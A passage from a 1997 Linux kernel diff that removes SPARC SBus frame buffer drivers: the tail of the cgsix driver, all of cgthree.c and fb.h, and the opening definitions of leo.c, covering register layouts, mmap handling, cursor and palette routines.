0x00004000 -#define CG6_FBC_BWRITE0_ILLEGAL 0x00006000 -#define CG6_FBC_BWRITE0_MASK 0x00006000 - -#define CG6_FBC_BWRITE1_IGNORE 0x00000000 -#define CG6_FBC_BWRITE1_ENABLE 0x00000800 -#define CG6_FBC_BWRITE1_DISABLE 0x00001000 -#define CG6_FBC_BWRITE1_ILLEGAL 0x00001800 -#define CG6_FBC_BWRITE1_MASK 0x00001800 - -#define CG6_FBC_BREAD_IGNORE 0x00000000 -#define CG6_FBC_BREAD_0 0x00000200 -#define CG6_FBC_BREAD_1 0x00000400 -#define CG6_FBC_BREAD_ILLEGAL 0x00000600 -#define CG6_FBC_BREAD_MASK 0x00000600 - -#define CG6_FBC_BDISP_IGNORE 0x00000000 -#define CG6_FBC_BDISP_0 0x00000080 -#define CG6_FBC_BDISP_1 0x00000100 -#define CG6_FBC_BDISP_ILLEGAL 0x00000180 -#define CG6_FBC_BDISP_MASK 0x00000180 - -#define CG6_FBC_INDEX_MOD 0x00000040 -#define CG6_FBC_INDEX_MASK 0x00000030 - -/* THC definitions */ -#define CG6_THC_MISC_REV_SHIFT 16 -#define CG6_THC_MISC_REV_MASK 15 -#define CG6_THC_MISC_RESET (1 << 12) -#define CG6_THC_MISC_VIDEO (1 << 10) -#define CG6_THC_MISC_SYNC (1 << 9) -#define CG6_THC_MISC_VSYNC (1 << 8) -#define CG6_THC_MISC_SYNC_ENAB (1 << 7) -#define CG6_THC_MISC_CURS_RES (1 << 6) -#define CG6_THC_MISC_INT_ENAB (1 << 5) -#define CG6_THC_MISC_INT (1 << 4) -#define CG6_THC_MISC_INIT 0x9f - -/* The contents are unknown */ -struct cg6_tec { - volatile int tec_matrix; - volatile int tec_clip; - volatile int tec_vdc; -}; - -struct cg6_thc { - uint thc_pad0[512]; - volatile uint thc_hs; /* hsync timing */ - volatile uint thc_hsdvs; - volatile uint thc_hd; - volatile uint thc_vs; /* vsync timing */ - volatile uint thc_vd; - volatile uint thc_refresh; - volatile uint thc_misc; - uint thc_pad1[56]; - volatile uint thc_cursxy; /* cursor x,y position (16 bits each) */ - volatile uint thc_cursmask[32]; /* cursor mask bits */ - volatile uint thc_cursbits[32]; /* what to show where mask enabled */ -}; - -struct cg6_fbc { - u32 xxx0[1]; - volatile u32 mode; - volatile u32 clip; - u32 xxx1[1]; - volatile u32 s; - volatile u32 draw; - volatile u32 blit; - volatile u32 font; - u32 xxx2[24]; - volatile u32 x0, y0, z0, color0; - volatile u32 x1, y1, z1, color1; - volatile u32 x2, y2, z2, color2; - volatile u32 x3, y3, z3, color3; - volatile u32 offx, offy; - u32 xxx3[2]; - volatile u32 incx, incy; - u32 xxx4[2]; - volatile u32 clipminx, clipminy; - u32 xxx5[2]; - volatile u32 clipmaxx, clipmaxy; - u32 xxx6[2]; - volatile u32 fg; - volatile u32 bg; - volatile u32 alu; - volatile u32 pm; - volatile u32 pixelm; - u32 xxx7[2]; - volatile u32 patalign; - volatile u32 pattern[8]; - u32 xxx8[432]; - volatile u32 apointx, apointy, apointz; - u32 xxx9[1]; - volatile u32 rpointx, rpointy, rpointz; - u32 xxx10[5]; - volatile u32 pointr, pointg, pointb, pointa; - volatile u32 alinex, aliney, alinez; - u32 xxx11[1]; - volatile u32 rlinex, rliney, rlinez; - u32 xxx12[5]; - volatile u32 liner, lineg, lineb, linea; - volatile u32 atrix, atriy, atriz; - u32 xxx13[1]; - volatile u32 rtrix, rtriy, rtriz; - u32 xxx14[5]; - volatile u32 trir, trig, trib, tria; - volatile u32 aquadx, aquady, aquadz; - u32 xxx15[1]; - volatile u32 rquadx, rquady, rquadz; - u32 xxx16[5]; - volatile u32 quadr, quadg, quadb, quada; - volatile u32 arectx, arecty, arectz; - u32 xxx17[1]; - volatile u32 rrectx, rrecty, rrectz; - u32 xxx18[5]; - volatile u32 rectr, rectg, rectb, recta; -}; - -static void -cg6_restore_palette (fbinfo_t *fbinfo) -{ - volatile struct bt_regs *bt; - - bt = fbinfo->info.cg6.bt; - bt->addr = 0; - bt->color_map = 0xffffffff; - bt->color_map = 0xffffffff; - bt->color_map = 0xffffffff; -} - -static void cg6_blitc(unsigned short, int, int); -static void cg6_setw(int, int, unsigned short, int); -static void cg6_cpyw(int, int, unsigned short *, int); - -#if 0 -static void cg6_fill(int, int, int *); -#endif - -/* Ugh: X wants to mmap a bunch of cute stuff at the same time :-( */ -/* So, we just mmap the things that are being asked for */ -static int -cg6_mmap (struct inode *inode, struct file *file, struct vm_area_struct *vma, - long base, fbinfo_t *fb) -{ - uint size, page, r, map_size; - uint map_offset = 0; - - size = vma->vm_end - vma->vm_start; - if (vma->vm_offset & ~PAGE_MASK) - return -ENXIO; - - /* To stop the swapper from even considering these pages */ - vma->vm_flags |= FB_MMAP_VM_FLAGS; - - /* Each page, see which map applies */ - for (page = 0; page < size; ){ - switch (vma->vm_offset+page){ - case CG6_TEC: - map_size = PAGE_SIZE; - map_offset = get_phys ((uint)fb->info.cg6.tec); - break; - case CG6_FBC: - map_size = PAGE_SIZE; - map_offset = get_phys ((uint)fb->info.cg6.fbc); - break; - case CG6_FHC: - map_size = PAGE_SIZE; - map_offset = get_phys ((uint)fb->info.cg6.fhc); - break; - case CG6_THC: - map_size = PAGE_SIZE; - map_offset = get_phys ((uint)fb->info.cg6.thc); - break; - case CG6_BTREGS: - map_size = PAGE_SIZE; - map_offset = get_phys ((uint)fb->info.cg6.bt); - break; - - case CG6_DHC: - map_size = PAGE_SIZE * 40; - map_offset = get_phys ((uint)fb->info.cg6.dhc); - break; - - case CG6_ROM: - map_size = PAGE_SIZE * 16; - map_offset = get_phys ((uint)fb->info.cg6.rom); - break; - - case CG6_RAM: - map_size = size-page; - map_offset = get_phys ((uint) fb->base); - if (map_size < fb->type.fb_size) - map_size = fb->type.fb_size; - break; - default: - map_size = 0; - break; - } - if (!map_size){ - page += PAGE_SIZE; - continue; - } - if (page + map_size > size) - map_size = size - page; - r = io_remap_page_range (vma->vm_start+page, - map_offset, - map_size, vma->vm_page_prot, - fb->space); - if (r) return -EAGAIN; - page += map_size; - } - vma->vm_inode = inode; - inode->i_count++; - return 0; -} - -static void -cg6_loadcmap (fbinfo_t *fb, int index, int count) -{ - struct bt_regs *bt = fb->info.cg6.bt; - int i; - - bt->addr = index << 24; - for (i = index; count--; i++){ - bt->color_map = fb->color_map CM(i,0) << 24; - bt->color_map = fb->color_map CM(i,1) << 24; - bt->color_map = fb->color_map CM(i,2) << 24; - } -} - -static void -cg6_setcursormap (fbinfo_t *fb, unsigned char *red, - unsigned char *green, - unsigned char *blue) -{ - struct bt_regs *bt = fb->info.cg6.bt; - - bt->addr = 1 << 24; - bt->cursor = red[0] << 24; - bt->cursor = green[0] << 24; - bt->cursor = blue[0] << 24; - bt->addr = 3 << 24; - bt->cursor = red[1] << 24; - bt->cursor = green[1] << 24; - bt->cursor = blue[1] << 24; -} - -/* Load cursor information */ -static void -cg6_setcursor (fbinfo_t *fb) -{ - uint v; - struct cg_cursor *c = &fb->cursor; - - if (c->enable){ - v = ((c->cpos.fbx - c->chot.fbx) << 16) - |((c->cpos.fby - c->chot.fby) & 0xffff); - } else { - /* Magic constant to turn off the cursor */ - v = ((65536-32) << 16) | (65536-32); - } - fb->info.cg6.thc->thc_cursxy = v; -} - -/* Set cursor shape */ -static void -cg6_setcurshape (fbinfo_t *fb) -{ - struct cg6_thc *thc = fb->info.cg6.thc; - int i; - - for (i = 0; i < 32; i++){ - thc->thc_cursmask [i] = fb->cursor.bits[0][i]; - thc->thc_cursbits [i] = fb->cursor.bits[1][i]; - } -} - -static void -cg6_blank (fbinfo_t *fb) -{ - fb->info.cg6.thc->thc_misc &= ~CG6_THC_MISC_VIDEO; -} - -static void -cg6_unblank (fbinfo_t *fb) -{ - fb->info.cg6.thc->thc_misc |= CG6_THC_MISC_VIDEO; -} - -void -cg6_reset (fbinfo_t *fb) -{ - struct cg6_info *cg6 = &(fb->info.cg6); - unsigned int rev, conf; - - if (fb->setcursor) - sun_hw_hide_cursor (); - /* Turn off stuff in the Transform Engine. */ - cg6->tec->tec_matrix = 0; - cg6->tec->tec_clip = 0; - cg6->tec->tec_vdc = 0; - - /* Take care of bugs in old revisions. */ - rev = (*(cg6->fhc) >> CG6_FHC_REV_SHIFT) & CG6_FHC_REV_MASK; - if (rev < 5) { - conf = (*(cg6->fhc) & CG6_FHC_RES_MASK) | - CG6_FHC_CPU_68020 | CG6_FHC_TEST | - (11 << CG6_FHC_TEST_X_SHIFT) | - (11 << CG6_FHC_TEST_Y_SHIFT); - if (rev < 2) - conf |= CG6_FHC_DST_DISABLE; - *(cg6->fhc) = conf; - } - - /* Set things in the FBC. */ - cg6->fbc->mode &= ~(CG6_FBC_BLIT_MASK | CG6_FBC_MODE_MASK | - CG6_FBC_DRAW_MASK | CG6_FBC_BWRITE0_MASK | - CG6_FBC_BWRITE1_MASK | CG6_FBC_BREAD_MASK | - CG6_FBC_BDISP_MASK); - cg6->fbc->mode |= (CG6_FBC_BLIT_SRC | CG6_FBC_MODE_COLOR8 | - CG6_FBC_DRAW_RENDER | CG6_FBC_BWRITE0_ENABLE | - CG6_FBC_BWRITE1_DISABLE | CG6_FBC_BREAD_0 | - CG6_FBC_BDISP_0); - cg6->fbc->clip = 0; - cg6->fbc->offx = 0; - cg6->fbc->offy = 0; - cg6->fbc->clipminx = 0; - cg6->fbc->clipminy = 0; - cg6->fbc->clipmaxx = fb->type.fb_width - 1; - cg6->fbc->clipmaxy = fb->type.fb_height - 1; - /* Enable cursor in Brooktree DAC. */ - cg6->bt->addr = 0x06 << 24; - cg6->bt->control |= 0x03 << 24; -} - -__initfunc(void cg6_setup (fbinfo_t *fb, int slot, uint cg6, int cg6_io)) -{ - struct cg6_info *cg6info; - unsigned int rev, cpu, conf; - - printk ("cgsix%d at 0x%8.8x ", slot, (uint) cg6); - - /* Fill in parameters we left out */ - fb->type.fb_cmsize = 256; - fb->mmap = cg6_mmap; - fb->loadcmap = cg6_loadcmap; - fb->reset = cg6_reset; - fb->blank = cg6_blank; - fb->unblank = cg6_unblank; - fb->setcursor = cg6_setcursor; - fb->setcursormap = cg6_setcursormap; - fb->setcurshape = cg6_setcurshape; - fb->postsetup = sun_cg_postsetup; - fb->blitc = cg6_blitc; - fb->setw = cg6_setw; - fb->cpyw = cg6_cpyw; - - cg6info = (struct cg6_info *) &fb->info.cg6; - - /* Map the hardware registers */ - cg6info->bt = sparc_alloc_io ((void *) cg6+CG6_BROOKTREE_OFFSET, 0, - sizeof (struct bt_regs), "cgsix_dac", cg6_io, 0); - cg6info->fhc = sparc_alloc_io ((void *) cg6+CG6_FHC_OFFSET, 0, - sizeof (int), "cgsix_fhc", cg6_io, 0); - cg6info->thc = sparc_alloc_io ((void *) cg6+CG6_THC_OFFSET, 0, - sizeof (struct cg6_thc), "cgsix_thc", cg6_io, 0); - cg6info->tec = sparc_alloc_io ((void *) cg6+CG6_TEC_OFFSET, 0, - sizeof (struct cg6_tec), "cgsix_tec", cg6_io, 0); - cg6info->dhc = sparc_alloc_io ((void *) cg6+CG6_DHC_OFFSET, 0, - 0x40000, "cgsix_dhc", cg6_io, 0); - cg6info->fbc = sparc_alloc_io ((void *) cg6+CG6_FBC_OFFSET, 0, - 0x1000, "cgsix_fbc", cg6_io, 0); - cg6info->rom = sparc_alloc_io ((void *) cg6+CG6_ROM_OFFSET, 0, - 0x10000, "cgsix_rom", cg6_io, 0); - if (!fb->base){ - fb->base = (uint) sparc_alloc_io ((void *) cg6+CG6_RAM_OFFSET, 0, - fb->type.fb_size, "cgsix_ram", cg6_io, 0); - } - if (slot == sun_prom_console_id) - fb_restore_palette = cg6_restore_palette; - - /* Initialize Brooktree DAC */ - cg6info->bt->addr = 0x04 << 24; /* color planes */ - cg6info->bt->control = 0xff << 24; - cg6info->bt->addr = 0x05 << 24; - cg6info->bt->control = 0x00 << 24; - cg6info->bt->addr = 0x06 << 24; /* overlay plane */ - cg6info->bt->control = 0x73 << 24; - cg6info->bt->addr = 0x07 << 24; - cg6info->bt->control = 0x00 << 24; - - printk("TEC Rev %x ", - (cg6info->thc->thc_misc >> CG6_THC_MISC_REV_SHIFT) & - CG6_THC_MISC_REV_MASK); - - /* Get FHC Revision */ - conf = *(cg6info->fhc); - - cpu = conf & CG6_FHC_CPU_MASK; - printk("CPU "); - if (cpu == CG6_FHC_CPU_SPARC) - printk("sparc "); - else if (cpu == CG6_FHC_CPU_68020) - printk("68020 "); - else - printk("386 "); - - rev = conf >> CG6_FHC_REV_SHIFT & CG6_FHC_REV_MASK; - printk("Rev %x\n", rev); - - if (slot && sun_prom_console_id == slot) return; - - /* Reset the cg6 */ - cg6_reset(fb); - - if (!slot) - /* Enable Video */ - cg6_unblank(fb); - else - cg6_blank(fb); -} - -extern unsigned char vga_font[]; - -#define GX_BLITC_START(attr) \ - { \ - register struct cg6_fbc *gx = fbinfo[0].info.cg6.fbc; \ - register uint i; \ - do { \ - i = gx->s; \ - } while (i & 0x10000000); \ - gx->fg = attr & 0xf; \ - gx->bg = (attr>>4); \ - gx->mode = 0x140000; \ - gx->alu = 0xe880fc30; \ - gx->pixelm = ~(0); \ - gx->s = 0; \ - gx->clip = 0; \ - gx->pm = 0xff; -#define GX_BLITC_BODY4(count,x,y,start,action) \ - while (count >= 4) { \ - count -= 4; \ - gx->incx = 0; \ - gx->incy = 1; \ - gx->x0 = x; \ - gx->x1 = (x += 32) - 1; \ - gx->y0 = y; \ - start; \ - for (i = 0; i < CHAR_HEIGHT; i++) { \ - action; \ - } \ - } -#define GX_BLITC_BODY1(x,y,action) \ - gx->incx = 0; \ - gx->incy = 1; \ - gx->x0 = x; \ - gx->x1 = (x += 8) - 1; \ - gx->y0 = y; \ - for (i = 0; i < CHAR_HEIGHT; i++) { \ - action; \ - } -#define GX_BLITC_END \ - } - -static void cg6_blitc(unsigned short charattr, int xoff, int yoff) -{ - unsigned char attrib = CHARATTR_TO_SUNCOLOR(charattr); - unsigned char *p = &vga_font[((unsigned char)charattr) << 4]; - GX_BLITC_START(attrib) - GX_BLITC_BODY1(xoff, yoff, gx->font=((*p++) << 24)) - GX_BLITC_END -} - -static void cg6_setw(int xoff, int yoff, unsigned short c, int count) -{ - unsigned char attrib = CHARATTR_TO_SUNCOLOR(c); - unsigned char *p = &vga_font[((unsigned char)c) << 4]; - register unsigned char *q; - register uint l; - GX_BLITC_START(attrib) - if (count >= 4) { - GX_BLITC_BODY4(count, xoff, yoff, q = p, - l = *q++; - l |= l << 8; - l |= l << 16; - gx->font=l) - } - while (count) { - count--; - q = p; - GX_BLITC_BODY1(xoff, yoff, gx->font=((*q++) << 24)); - } - GX_BLITC_END -} - -static void cg6_cpyw(int xoff, int yoff, unsigned short *p, int count) -{ - unsigned char attrib = CHARATTR_TO_SUNCOLOR(*p); - unsigned char *p1, *p2, *p3, *p4; - GX_BLITC_START(attrib) - if (count >= 4) { - GX_BLITC_BODY4(count, xoff, yoff, - p1 = &vga_font[((unsigned char)*p++) << 4]; - p2 = &vga_font[((unsigned char)*p++) << 4]; - p3 = &vga_font[((unsigned char)*p++) << 4]; - p4 = &vga_font[((unsigned char)*p++) << 4], - gx->font=((uint)*p4++) | ((((uint)*p3++) | ((((uint)*p2++) | (((uint)*p1++) << 8)) << 8)) << 8)) - } - while (count) { - count--; - p1 = &vga_font[((unsigned char)*p++) << 4]; - GX_BLITC_BODY1(xoff, yoff, gx->font=((*p1++) << 24)); - } - GX_BLITC_END -} - -#define GX_FILL_START(attr) \ - { \ - register struct cg6_fbc *gx = fbinfo[0].info.cg6.fbc; \ - register uint i; \ - do { \ - i = gx->s; \ - } while (i & 0x10000000); \ - gx->fg = attr & 0xf; \ - gx->bg = 0; \ - gx->pixelm = ~(0); \ - gx->s = 0; \ - gx->alu = 0xea80ff00; \ - gx->pm = ~(0); \ - gx->clip = 0; -#define GX_FILL_END \ - } - -#if 0 -static void cg6_fill(int attrib, int count, int *boxes) -{ - register int r; - - attrib = 5; - GX_FILL_START(attrib) - while (count-- > 0) { - gx->arecty = boxes[1]; - gx->arectx = boxes[0]; - gx->arecty = boxes[3]; - gx->arecty = boxes[2]; - boxes += 4; - do { - r = gx->draw; - } while (r < 0 && (r & 0x20000000) ); - } - GX_FILL_END -} -#endif diff -u --recursive --new-file linux-2.1.29/drivers/sbus/char/cgthree.c linux/drivers/sbus/char/cgthree.c --- linux-2.1.29/drivers/sbus/char/cgthree.c Sat May 10 18:16:58 1997 +++ linux/drivers/sbus/char/cgthree.c Wed Dec 31 19:00:00 1969 @@ -1,139 +0,0 @@ -/* $Id: cgthree.c,v 1.10 1996/12/23 10:16:07 ecd Exp $ - * cgtree.c: cg3 frame buffer driver - * - * Copyright (C) 1996 Miguel de Icaza (miguel@nuclecu.unam.mx) - * - * Support for cgRDI added, Nov/96, jj. - */ - -#include -#include -#include -#include - -#include -#include -#include -#include - -#include "../../char/vt_kern.h" -#include "../../char/selection.h" -#include "../../char/console_struct.h" -#include "fb.h" -#include "cg_common.h" - -/* The cg3 palette is loaded with 4 color values at each time */ -/* so you end up with: (rgb)(r), (gb)(rg), (b)(rgb), and so on */ -static void -cg3_loadcmap (fbinfo_t *fb, int index, int count) -{ - struct bt_regs *bt = fb->info.cg3.bt; - int *i, steps; - - i = (((int *)fb->color_map) + D4M3(index)); - steps = D4M3(index+count-1) - D4M3(index)+3; -#if 0 - if (fb->info.cg3.cgrdi) { - *(volatile u8 *)bt->addr = (u8)(D4M4(index)); - } else -#endif - bt->addr = D4M4(index); - while (steps--) - bt->color_map = *i++; -} - -/* The cg3 is presumed to emulate a cg4, I guess older programs will want that - * addresses above 0x4000000 are for cg3, below that it's cg4 emulation. - */ -static int -cg3_mmap (struct inode *inode, struct file *file, struct vm_area_struct *vma, - long base, fbinfo_t *fb) -{ - uint size, page, r, map_size; - uint map_offset = 0; - - size = vma->vm_end - vma->vm_start; - if (vma->vm_offset & ~PAGE_MASK) - return -ENXIO; - - /* To stop the swapper from even considering these pages */ - vma->vm_flags |= FB_MMAP_VM_FLAGS; - - /* Each page, see which map applies */ - for (page = 0; page < size; ){ - switch (vma->vm_offset+page){ - case CG3_MMAP_OFFSET: - map_size = size-page; - map_offset = get_phys ((uint) fb->base); - if (map_size > fb->type.fb_size) - map_size = fb->type.fb_size; - break; - default: - map_size = 0; - break; - } - if (!map_size){ - page += PAGE_SIZE; - continue; - } - if (page + map_size > size) - map_size = size - page; - r = io_remap_page_range (vma->vm_start+page, - map_offset, - map_size, vma->vm_page_prot, - fb->space); - if (r) return -EAGAIN; - page += map_size; - } - vma->vm_inode = inode; - inode->i_count++; - return 0; -} - -__initfunc(void cg3_setup (fbinfo_t *fb, int slot, uint cg3, int cg3_io, struct linux_sbus_device *sbdp)) -{ - struct cg3_info *cg3info = (struct cg3_info *) &fb->info.cg3; - - if (strstr (sbdp->prom_name, "cgRDI")) { - char buffer[40]; - char *p; - int w, h; - - prom_getstring (sbdp->prom_node, "params", buffer, sizeof(buffer)); - if (*buffer) { - w = simple_strtoul (buffer, &p, 10); - if (w && *p == 'x') { - h = simple_strtoul (p + 1, &p, 10); - if (h && *p == '-') { - fb->type.fb_width = w; - fb->type.fb_height = h; - } - } - } - printk ("cgRDI%d at 0x%8.8x\n", slot, cg3); - cg3info->cgrdi = 1; - } else { - printk ("cgthree%d at 0x%8.8x\n", slot, cg3); - cg3info->cgrdi = 0; - } - - /* Fill in parameters we left out */ - fb->type.fb_cmsize = 256; - fb->mmap = cg3_mmap; - fb->loadcmap = cg3_loadcmap; - fb->postsetup = sun_cg_postsetup; - fb->ioctl = 0; /* no special ioctls */ - fb->reset = 0; - - /* Map the card registers */ - cg3info->bt = sparc_alloc_io ((void *) cg3+CG3_REGS, 0, - sizeof (struct bt_regs),"cg3_bt", cg3_io, 0); - /* cgRDI actually has 32 bytes of regs, but I don't understand - those bitfields yet (guess it is some interrupt stuff etc. */ - - if (!fb->base){ - fb->base=(uint) sparc_alloc_io ((void*) cg3+CG3_RAM, 0, - fb->type.fb_size, "cg3_ram", cg3_io, 0); - } -} - diff -u --recursive --new-file linux-2.1.29/drivers/sbus/char/fb.h linux/drivers/sbus/char/fb.h --- linux-2.1.29/drivers/sbus/char/fb.h Sat May 10 18:17:46 1997 +++ linux/drivers/sbus/char/fb.h Wed Dec 31 19:00:00 1969 @@ -1,207 +0,0 @@ -/* $Id: fb.h,v 1.21 1997/02/02 02:12:43 ecd Exp $ - * fb.h: contains the definitions of the structures that various sun - * frame buffer can use to do console driver stuff. - * - * (C) 1996 Dave Redman (djhr@tadpole.co.uk) - * (C) 1996 Miguel de Icaza (miguel@nuclecu.unam.mx) - * (C) 1996 David Miller (davem@rutgers.edu) - * (C) 1996 Peter Zaitcev (zaitcev@lab.ipmce.su) - * (C) 1996 Eddie C. Dost (ecd@skynet.be) - * (C) 1996 Jakub Jelinek (jj@sunsite.mff.cuni.cz) - */ - -#ifndef __SPARC_FB_H_ -#define __SPARC_FB_H_ - -#include - -#define FRAME_BUFFERS 8 -#define CHAR_WIDTH 8 -#define CHAR_HEIGHT 16 - -/* Change this if we run into problems if the kernel want's to free or - * use our frame buffer pages, never seen it though. - */ -#define FB_MMAP_VM_FLAGS (VM_SHM| VM_LOCKED) - -#undef color - -/* cursor status, kernel tracked copy */ -struct cg_cursor { - short enable; /* cursor is enabled */ - struct fbcurpos cpos; /* position */ - struct fbcurpos chot; /* hot-spot */ - struct fbcurpos size; /* size of mask & image fields */ - struct fbcurpos hwsize; /* hw max size */ - int bits[2][32]; /* space for mask & image bits */ - char color [6]; /* cursor colors */ -}; - -struct cg6_info { - struct bt_regs *bt; /* color control */ - struct cg6_fbc *fbc; - unsigned int *fhc; - struct cg6_tec *tec; - struct cg6_thc *thc; - void *dhc; - unsigned char *rom; -}; - -struct tcx_info { - struct bt_regs *bt; /* color control */ - struct tcx_tec *tec; - struct tcx_thc *thc; - void *tcx_cplane; - int tcx_sizes[13]; - long tcx_offsets[13]; - int lowdepth; -}; - -struct leo_info { - struct leo_cursor *cursor; - struct leo_lc_ss0_krn *lc_ss0_krn; - struct leo_lc_ss0_usr *lc_ss0_usr; - struct leo_lc_ss1_krn *lc_ss1_krn; - struct leo_lc_ss1_usr *lc_ss1_usr; - struct leo_ld_ss0 *ld_ss0; - struct leo_ld_ss1 *ld_ss1; - struct leo_ld_gbl *ld_gbl; - struct leo_lx_krn *lx_krn; - u32 *cluts[3]; - u8 *xlut; - unsigned long offset; -}; - -struct bwtwo_info { - struct bwtwo_regs *regs; -}; - -struct cg3_info { - struct bt_regs *bt; /* brooktree (color) registers */ - int cgrdi; /* 1 if this is a cgRDI */ -}; - -struct cg14_info { - struct cg14_regs *regs; - struct cg14_cursor *cursor_regs; - struct cg14_dac *dac; - struct cg14_xlut *xlut; - struct cg14_clut *clut; - int ramsize; - int video_mode; -}; - -typedef union -{ - unsigned int bt[8]; - unsigned char ibm[8]; -} dacptr; - -struct weitek_info -{ - int p9000; /* p9000? or p9100 */ - dacptr *dac; /* dac structures */ - unsigned int fbsize; /* size of frame buffer */ -}; - -/* Array holding the information for the frame buffers */ -typedef struct fbinfo { - union { - struct bwtwo_info bwtwo; - struct cg3_info cg3; - struct cg6_info cg6; - struct cg14_info cg14; - struct tcx_info tcx; - struct leo_info leo; - } info; /* per frame information */ - int space; /* I/O space this card resides in */ - int blanked; /* true if video blanked */ - int open; /* is this fb open? */ - int mmaped; /* has this fb been mmapped? */ - int vtconsole; /* virtual console where it is opened */ - long base; /* frame buffer base */ - struct fbtype type; /* frame buffer type */ - int real_type; /* real frame buffer FBTYPE* */ - int emulations[4]; /* possible emulations (-1 N/A) */ - int prom_node; /* node of the device in prom tree */ - int base_depth; /* depth of fb->base piece */ - struct cg_cursor cursor; /* kernel state of hw cursor */ - int (*mmap)(struct inode *, struct file *, struct vm_area_struct *, - long fb_base, struct fbinfo *); - void (*loadcmap)(struct fbinfo *fb, int index, int count); - void (*blank)(struct fbinfo *fb); - void (*unblank)(struct fbinfo *fb); - int (*ioctl)(struct inode *, struct file *, uint, unsigned long, - struct fbinfo *); - void (*reset)(struct fbinfo *fb); - void (*switch_from_graph)(void); - void (*setcursor)(struct fbinfo *); - void (*setcurshape)(struct fbinfo *); - void (*setcursormap)(struct fbinfo *, unsigned char *, - unsigned char *, unsigned char *); - unsigned long (*postsetup)(struct fbinfo *, unsigned long); - void (*blitc)(unsigned short, int, int); - void (*setw)(int, int, unsigned short, int); - void (*cpyw)(int, int, unsigned short *, int); - void (*fill)(int, int, int *); - unsigned char *color_map; - struct openpromfs_dev proc_entry; -} fbinfo_t; - -#define CM(i, j) [3*(i)+(j)] - -extern unsigned char reverse_color_table[]; - -#define CHARATTR_TO_SUNCOLOR(attr) \ - ((reverse_color_table[(attr) >> 12] << 4) | \ - reverse_color_table[((attr) >> 8) & 0x0f]) - -extern fbinfo_t *fbinfo; -extern int fbinfos; - -struct { - char *name; /* prom name */ - int width, height; /* prefered w,h match */ - void (*fbtype)(fbinfo_t *); /* generic device type */ - /* device specific init routine */ - unsigned long (*fbinit)(fbinfo_t *fbinfo, unsigned int addr); -} fb_entry; - -extern int fb_init(void); - -extern void (*fb_restore_palette)(fbinfo_t *fbinfo); -extern void (*fb_hide_cursor)(int cursor_pos); -extern void (*fb_set_cursor)(int oldpos, int idx); -extern void (*fb_clear_screen)( void ); -extern void (*fb_blitc)(unsigned char *, int, unsigned int *, unsigned int); -extern void (*fb_font_init)(unsigned char *font); -/* All framebuffers are likely to require this info */ - -/* Screen dimensions and color depth. */ -extern int con_depth, con_width; -extern int con_height, con_linebytes; -extern int ints_per_line; - -/* used in the mmap routines */ -extern unsigned int get_phys (unsigned int addr); -extern int get_iospace (unsigned int addr); -extern void render_screen(void); - -extern void sun_hw_hide_cursor(void); -extern void sun_hw_set_cursor(int, int); -extern int sun_hw_scursor(struct fbcursor *,fbinfo_t *); -extern int sun_hw_cursor_shown; -extern int sun_prom_console_id; - -extern unsigned long sun_cg_postsetup(fbinfo_t *, unsigned long); - -#define FB_DEV(x) (MINOR(x) / 32) - -extern void cg3_setup (fbinfo_t *, int, uint, int, struct linux_sbus_device *); -extern void cg6_setup (fbinfo_t *, int, uint, int); -extern void cg14_setup (fbinfo_t *, int, int, uint, int); -extern void bwtwo_setup (fbinfo_t *, int, uint, int); -extern void leo_setup (fbinfo_t *, int, uint, int); -extern void tcx_setup (fbinfo_t *, int, int, uint, struct linux_sbus_device *); - -#endif __SPARC_FB_H_ diff -u --recursive --new-file linux-2.1.29/drivers/sbus/char/leo.c linux/drivers/sbus/char/leo.c --- linux-2.1.29/drivers/sbus/char/leo.c Sat May 10 18:17:46 1997 +++ linux/drivers/sbus/char/leo.c Wed Dec 31 19:00:00 1969 @@ -1,699 +0,0 @@ -/* $Id: leo.c,v 1.11 1997/02/02 02:12:44 ecd Exp $ - * leo.c: SUNW,leo 24/8bit frame buffer driver - * - * Copyright (C) 1996 Jakub Jelinek (jj@sunsite.mff.cuni.cz) - */ - -#include -#include -#include -#include - -#include -#include -#include -#include -#include -#include - -#include "../../char/vt_kern.h" -#include "../../char/selection.h" -#include "../../char/console_struct.h" -#include "fb.h" -#include "cg_common.h" - -#define LEO_OFF_LC_SS0_KRN 0x00200000 -#define LEO_OFF_LC_SS0_USR 0x00201000 -#define LEO_OFF_LC_SS1_KRN 0x01200000 -#define LEO_OFF_LC_SS1_USR 0x01201000 -#define LEO_OFF_LD_SS0 0x00400000 -#define LEO_OFF_LD_SS1 0x01400000 -#define LEO_OFF_LD_GBL 0x00401000 -#define LEO_OFF_LX_KRN 0x00600000 -#define LEO_OFF_LX_CURSOR 0x00601000 -#define LEO_OFF_SS0 0x00800000 -#define LEO_OFF_SS1 0x01800000 -#define LEO_OFF_UNK 0x00602000 -#define LEO_OFF_UNK2 0x00000000 - -#define LEO_CUR_ENABLE 0x00000080 -#define LEO_CUR_UPDATE 0x00000030 -#define LEO_CUR_PROGRESS 0x00000006 -#define LEO_CUR_UPDATECMAP 0x00000003 - -#define LEO_CUR_TYPE_MASK 0x00000000 -#define LEO_CUR_TYPE_IMAGE 0x00000020 -#define LEO_CUR_TYPE_CMAP 0x00000050 - -struct leo_cursor { - u8 xxx0[16]; - volatile u32 cur_type; - volatile u32 cur_misc; - volatile u32 cur_cursxy; - volatile u32 cur_data; -}; - -#define LEO_KRN_TYPE_CLUT0 0x00001000 -#define LEO_KRN_TYPE_CLUT1 0x00001001 -#define LEO_KRN_TYPE_CLUT2 0x00001002 -#define LEO_KRN_TYPE_WID 0x00001003 -#define LEO_KRN_TYPE_UNK 0x00001006 -#define LEO_KRN_TYPE_VIDEO 0x00002003 -#define LEO_KRN_TYPE_CLUTDATA 0x00004000 -#define LEO_KRN_CSR_ENABLE 0x00000008 -#define LEO_KRN_CSR_PROGRESS 0x00000004 -#define LEO_KRN_CSR_UNK 0x00000002 -#define LEO_KRN_CSR_UNK2 0x00000001 - -struct leo_lx_krn { - volatile u32 krn_type; - volatile u32 krn_csr; - volatile u32 krn_value; -}; - -struct leo_lc_ss0_krn { - volatile u32 misc; - u8 xxx0[0x800-4]; - volatile u32 rev; -}; - -struct leo_lc_ss0_usr { - volatile u32 csr; - volatile u32 attrs; - volatile u32 fontc; - volatile u32 fontc2; - volatile u32 extent; - volatile u32 src; - u32 xxx1[1]; - volatile u32 copy; - volatile u32 fill; -}; - -struct leo_lc_ss1_krn { - u8 unknown; -}; - -struct leo_lc_ss1_usr { - u8 unknown; -}; - -struct leo_ld_ss0 { - u8 xxx0[0xe00]; - u32 xxx1[2]; - volatile u32 unk; - u32 xxx2[1]; - volatile u32 unk2; - volatile u32 unk3; - u32 xxx3[2]; - volatile u32 fg; - volatile u32 bg; - u8 xxx4[0x05c]; 